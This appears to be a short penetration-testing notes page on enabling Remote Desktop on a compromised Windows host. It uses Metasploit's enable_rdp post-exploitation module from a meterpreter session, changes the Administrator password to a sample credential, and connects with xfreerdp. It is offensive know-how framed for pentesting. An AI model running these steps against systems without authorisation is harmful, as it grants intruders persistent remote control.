Enabling RDP(msf,admin password change)

Firstly we have to gain access to meterpreter session through exploiting target

#Enabling RDP

search enable_rdp
use post/windows/manage/enable_rdp
options
sessions
set SESSION 1
run
Metasploit - post/windows/manage/enable_rdp
  • To access RDP, login credentials are necessary

  • Change the Administrator user's password (no recommended in a real-world system)

📌 During a standard Pentest, create another user account, add it to the Administrators group and utilize that one.

Legitimate credentials are now: administrator:p4ssword_12344321

  • In a new Terminal TAB

xfreerdp

Last updated